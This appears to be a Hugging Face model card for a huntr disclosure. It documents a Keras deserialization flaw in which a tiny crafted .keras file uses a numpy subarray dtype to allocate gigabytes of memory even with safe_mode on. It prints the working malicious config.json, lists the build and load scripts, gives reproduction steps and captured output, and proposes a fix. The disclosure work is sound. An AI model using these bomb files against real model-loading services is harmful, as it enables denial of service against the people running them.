Instructions to use EnigmaConsultant/huntr-poc-keras-numpy-dtype-subarray-alloc-oom with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use EnigmaConsultant/huntr-poc-keras-numpy-dtype-subarray-alloc-oom with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://EnigmaConsultant/huntr-poc-keras-numpy-dtype-subarray-alloc-oom") - Notebooks
- Google Colab
- Kaggle
| license: apache-2.0 | |
| tags: | |
| - security | |
| - poc | |
| - huntr | |
| - keras | |
| - deserialization | |
| - denial-of-service | |
| # Uncontrolled memory allocation via attacker-controlled numpy subarray-dtype in the `__numpy__` deserializer (reachable under `safe_mode=True`, `.keras` native format) | |
| **Target:** `keras` (keras-team/keras), PyPI package `keras` | |
| **Version tested:** `keras 3.15.0` (installed release, verified live) | |
| **Vulnerable file:** `keras/src/saving/serialization_lib.py` (lines 655-656) | |
| **Class:** CWE-789 Memory Allocation with Excessive Size Value / CWE-400 Uncontrolled Resource Consumption (Denial of Service) | |
| **Impact:** Remote/uncontrolled memory allocation and OOM DoS triggered by loading a tiny (~600-byte) crafted `.keras` file through the fully-default public API β `keras.saving.load_model(path)` with `safe_mode=True` (the default). No code execution, no `safe_mode=False`, no lambda required. | |
| --- | |
| ## Root cause | |
| In `deserialize_keras_object`, the `__numpy__` special case builds a numpy array directly from untrusted config values: | |
| ```python | |
| # keras/src/saving/serialization_lib.py (lines 655-656) | |
| if class_name == "__numpy__": | |
| return np.array(inner_config["value"], dtype=inner_config["dtype"]) | |
| ``` | |
| Both `inner_config["value"]` (a JSON list) and `inner_config["dtype"]` (a string) come straight from the untrusted `config.json` inside a `.keras` zip archive. numpy accepts a **subarray dtype** string such as `"(268435455,)f8"`, whose per-element itemsize is ~2 GiB (268435455 * 8 = 2,147,483,640 bytes β just under numpy's C-`int` itemsize cap of 2^31-1). Constructing an array from a **one-element** input list with that dtype produces shape `(1, 268435455)` and physically commits ~2.15 GB: | |
| ``` | |
| np.array([0.0], dtype="(268435455,)f8") -> shape (1, 268435455), nbytes 2147483640 | |
| ``` | |
| Two properties make this a real, default-reachable primitive: | |
| 1. **It executes BEFORE the `safe_mode` gate.** The `__lambda__` branch that honors `safe_mode` is at line ~679, *after* the `__numpy__` branch. The `__numpy__` case has **no size guard and no `safe_mode` check**, so `safe_mode=True` (the `load_model` default) provides zero protection here. | |
| 2. **Linear N x 2 GB amplification.** A `.keras` `config.json` whose top-level object is a plain dict with **no** `class_name`/`config` keys causes `deserialize_keras_object` to recurse into *every* value (the dict-walking branch, lines ~631-637). Each key holding a `__numpy__` node builds and retains its own ~2 GB array, so N keys request ~N x 2 GB simultaneously. | |
| `load_model`'s signature confirms the default-safe path is affected: | |
| ```python | |
| # keras/src/saving/saving_api.py:126 | |
| def load_model(filepath, custom_objects=None, compile=True, safe_mode=True): | |
| ``` | |
| --- | |
| ## Proof of Concept | |
| A **594-byte** `numpy_bomb.keras` archive whose 270-byte `config.json` is: | |
| ```json | |
| {"k0": {"class_name": "__numpy__", "config": {"value": [0.0], "dtype": "(268435455,)f8"}}, | |
| "k1": {"class_name": "__numpy__", "config": {"value": [0.0], "dtype": "(268435455,)f8"}}, | |
| "k2": {"class_name": "__numpy__", "config": {"value": [0.0], "dtype": "(268435455,)f8"}}} | |
| ``` | |
| Loading it via the fully-default public API commits ~6.35 GB before failing: | |
| ```python | |
| import keras | |
| keras.saving.load_model("numpy_bomb.keras") # safe_mode=True, compile=True (defaults) | |
| ``` | |
| Scaling the entry count to 12 (a **626-byte** `bomb12.keras`) requests ~25 GB and OOMs. Config-bytes β bytes-committed amplification is **~24,000x**. | |
| ### Files in this repo | |
| - `build_poc.py` β builds the malicious `.keras` archive for any entry count | |
| - `numpy_bomb.keras` (594 B) β 3-entry PoC, ~6.35 GB commit | |
| - `bomb12.keras` (626 B) β 12-entry PoC, ~25 GB request β OOM | |
| - `benign.keras` (15,883 B) β real Sequential model, negative control | |
| - `direct_deser.py` β isolates the primitive with explicit `safe_mode=True` | |
| - `load_poc.py` β end-to-end default `load_model` reproduction | |
| - `rlimit_run.py` β bounded OOM proof + negative control under `RLIMIT_AS=2.5 GB` | |
| - `np_amp.py`, `np_dtype.py`, `mk_benign.py`, `probe_recur.py` β supporting scripts | |
| --- | |
| ## Captured evidence (verbatim, keras 3.15.0) | |
| **Primitive, explicit `safe_mode=True` (`direct_deser.py`):** | |
| ``` | |
| keras 3.15.0 safe_mode default = True | |
| rss before MB: 206.2 | |
| returned type: <class 'numpy.ndarray'> nbytes: 2147483640 | |
| rss after MB: 2254.2 | |
| ``` | |
| **Underlying numpy amplification (re-confirmed live, numpy 2.3.5):** | |
| ``` | |
| numpy 2.3.5 rss before MB 24.8 | |
| shape (1, 268435455) nbytes 2147483640 rss after MB 2072.8 | |
| ``` | |
| **End-to-end default `load_model("numpy_bomb.keras")` (`load_poc.py`):** | |
| ``` | |
| keras 3.15.0 | |
| rss before load MB: 206.4 | |
| raised: ValueError Expected object to be an instance of `KerasSaveable`, but got {'k0': array([[0., 0., 0., ..., 0., 0., 0.]], shape=(1, 26... | |
| elapsed s: 2.3 | |
| rss PEAK after load MB: 6351.8 | |
| ``` | |
| (The `ValueError` is raised only *after* all three ~2 GB arrays have already been materialized β the DoS damage is done before the type check fails.) | |
| **Bounded OOM proof + negative control (`rlimit_run.py`, `RLIMIT_AS=2.5 GB`):** | |
| ``` | |
| [RLIMIT_AS=2.5GB] loading benign.keras | |
| RESULT: loaded OK -> Sequential | peak rss MB: 208.7 | |
| [RLIMIT_AS=2.5GB] loading bomb12.keras | |
| RESULT: MemoryError (DoS) | peak rss MB: 206.7 | |
| ``` | |
| Same loader, same code path: a real 15,883-byte model loads fine under a 2.5 GB address-space cap, while the 626-byte attacker file raises `MemoryError`. | |
| **Vulnerable source, as shipped (extracted from the installed package):** | |
| ```python | |
| # keras/src/saving/serialization_lib.py:655-656 | |
| if class_name == "__numpy__": | |
| return np.array(inner_config["value"], dtype=inner_config["dtype"]) | |
| ``` | |
| Confirmed to sit *before* the `__lambda__` / `safe_mode` gate (line ~679) in the same function. | |
| --- | |
| ## Reproduction steps | |
| ```bash | |
| pip install keras==3.15.0 h5py numpy | |
| python build_poc.py 3 numpy_bomb.keras # 594-byte file | |
| python build_poc.py 12 bomb12.keras # 626-byte file | |
| python load_poc.py numpy_bomb.keras # watch RSS peak ~6.35 GB | |
| python rlimit_run.py bomb12.keras # MemoryError under 2.5 GB cap | |
| python rlimit_run.py benign.keras # negative control: loads OK | |
| ``` | |
| --- | |
| ## Suggested fix | |
| Guard the `__numpy__` (and `__tensor__`) special case before allocation: reject subarray dtypes, or cap the resulting `itemsize`/total element count against the length of the input `value` list, or resolve the dtype and refuse when `np.dtype(dtype).itemsize` grossly exceeds what a scalar element of `value` should occupy. The allocation should be bounded by the size of the serialized input, not by an attacker-chosen dtype string. | |
| --- | |
| ## Dedup / novelty note | |
| This is a **distinct primitive and code path** from prior Keras findings: | |
| - **Not** the `.keras` `config.json` large-file / 4 GiB-floor config bomb (that abuses raw JSON payload size; here the malicious `config.json` is 270 bytes and the amplification is dtype-driven, ~24,000x). | |
| - **Not** the legacy H5 `model_config` layer-dimension / units alloc, nor the Dense `build_config` shape allocation (those abuse layer shape/units integers; this abuses numpy subarray-dtype itemsize with a 1-element value list, in the native `.keras` format). | |
| - **Not** the assets zip-bomb, multi-optimizer ReDoS, H5 weight-names stack-bomb, or any lambda/`safe_mode=False` code-execution path. This triggers under the default `safe_mode=True` with no lambda and no code execution. | |
| No CVE currently covers the `__numpy__` subarray-dtype itemsize amplification in `serialization_lib.deserialize_keras_object`. This report is for coordinated disclosure via huntr. | |
| **Ethics:** PoC files only allocate/exhaust memory in the loader; they contain no code execution, exfiltration, or persistence. | |